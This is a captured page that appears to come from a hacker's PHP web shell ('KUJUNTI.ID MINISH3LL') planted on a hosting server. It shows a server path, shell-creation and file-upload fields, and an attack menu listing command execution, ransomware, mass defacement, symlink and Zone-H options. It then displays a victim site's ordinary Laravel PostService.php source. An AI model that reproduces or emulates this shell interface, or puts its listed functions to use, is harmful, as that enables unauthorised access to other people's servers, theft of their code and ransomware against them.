KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/app/Services/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/app/Services/PostService.php


<?php
    namespace App\Services;

use App\Http\Requests\SearchRequest;
use App\Repositories\CategoryRepository;
use App\Repositories\PostRepository;
use App\Repositories\TagRepository;

class PostService
{
    protected $postRepository;
    protected $categoryRepository;
    protected $tagRepository;
    
    public function __construct()
    {
        $this->postRepository = new PostRepository();
        $this->categoryRepository = new CategoryRepository();
        $this->tagRepository = new TagRepository();
    }
    public function getPosts($limit,$nbrpages){
        return $this->postRepository->findPosts($limit,$nbrpages);
    }
    
    public function getPostBySlug($slug){
        return $this->postRepository->findPostBySlug($slug);
    }
    
    public function getLatestPosts($limit){
        return $this->postRepository->findLatestPosts($limit);
    }
    
    public function getPostsByCategorySlug($slug){
        return $this->postRepository->findPostsByCategorySlug($slug);
    }
    
    public function getPostsByTagSlug($slug){
        return $this->postRepository->findPostsByTagSlug($slug);
    }
    
    public function getPostsBySearch(){
        $search = $this->getSearch();
        return $this->postRepository->findPostBySearch($search);
    }
    
    public function getSearch(){
        $searchRequest = new SearchRequest();
        $request = $searchRequest->capture();
        $search = $request->get('search');
        return $search;
    }
    
    public function getSearchTitle(){
        $posts = $this->getPostsBySearch();
        $title = (count($posts) != null) ? __('Posts found with search: ') .   $this->getSearch() :'No post found for this search: '.$this->getSearch();
        return $title;
    }
    
    public function getMessage($categorySlug,$tagSlug){
        if($categorySlug != null){
            $category = $this->categoryRepository->findCategoryBySlug($categorySlug);
            $message = __("posts for category ") .$category->title;
        }
        else if($tagSlug != null){
            $tag = $this->tagRepository->findTagBySlug($tagSlug);
            $message = __(" posts for tag ") .$tag->title;
        }
        return $message;
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support